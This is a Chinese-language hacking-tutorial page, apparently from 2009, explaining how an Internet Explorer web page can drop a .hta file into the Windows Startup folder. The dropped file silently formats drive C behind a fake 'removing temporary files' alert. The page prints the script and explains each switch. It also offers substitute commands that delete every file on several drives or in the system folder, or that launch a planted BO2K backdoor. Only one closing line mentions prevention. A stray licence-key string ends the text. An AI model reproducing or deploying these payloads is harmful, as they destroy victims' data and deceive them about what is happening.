当前位置: 首页 > 图文教程 > 网络安全 > 黑客技术 > 如何利用HTML格式化你的硬盘

黑客技术
教你建立和删除系统隐藏帐号的方法
ARP欺骗和ICMP欺骗催生全新DOS工具
不一样的挂马方式:TXT挂马
详解跨站脚本攻击
Public权限下的列目录
无需密码照样看有密码的优酷视频
黑客攻击式的掐架导致5·19六省区的网络瘫痪
黑客产业链:揭秘黑客培训内幕
上网查旅游出国信息留神网站“挂马”
自拍网站被挂马 可能造成隐私照片泄露
木马病毒罪恶的产业链:木马制作和分销
80后男孩向黑客买QQ号和密码诈骗3万
黑客入侵知识:提权的21种方法
木马最基本的隐藏:不可见窗体和隐藏文件
黑客入侵知识:简单识别服务器操作系统
如何利用HTML格式化你的硬盘
详解BMP木马
新欢乐时光代码分析
跨站式脚本(Cross-SiteScripting)XSS攻击原理分析
攻击方式学习之SQL注入(SQL Injection)

黑客技术 中的 如何利用HTML格式化你的硬盘


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-13   浏览: 109 ::
收藏到网摘: n/a

这是利用微软( Microsoft )的IE浏览器( Internet Explorer )所衍生出来的
攻击方法。
以下这段就是具有破坏性的HTML
Hacking Your Computer .
scr.Reset(); scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta";
scr.Doc="
wsh.Run('start.exe /m format c:/q /autotest /u');
alert('IMPORTANT : Windows is removing unused temporary files.');";
scr.write();

(懂HTML的人应该就看得出来其中精随)
现在我大概来解释其中几个项目所写的意思
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\hack.hta"
这一项就是指当你看到这网页它会写入到你的电脑启动目录底下,并命名为
hack.hta
wsh.Run('start.exe /m format c:/q /autotest /u');
通常要格式化硬碟都会先问你是否要执行,但其中的"/autotest"这项。
它是一个微软没有公开的功能,键入後format的动作便会被强制执行。
这项中的/q /u是令系统不需要检查硬碟便会立即执行的指令。
最後start.exe再配合/m选项可以使format的DOS-prompt视窗在执行的时候处於最小
化的状态。
执行其他攻击指令的方法∶
只要修改“start.exe /m format c:/q /autotest /u”这一项便形。
start.exe /m format c:/q /autotest /u
其中的“c:”可以换做其他的硬碟。
(path)\bo2k.exe
执行它电脑中的某个程式,如果你有传bo2k到它电脑中就可以使用此指令。
start.exe /m deltree /y a:\*.* c:\*.* d:\*.*
杀掉对方硬碟底下所有的档案。
start.exe /m deltree /y c:\windows\system\*.*
杀掉对方c:\windows\system\目录底下的所有档案。
後叙∶
预防遭此手段的破坏就是到微软去更新你的浏览器。
cplic putlic eval 01Oct2001 ao9McpUFF-LvJU5BvTp-7xDVpSa4X-RrrcKpv jjCPSUITE-EVAL-3DES-NG CK-CP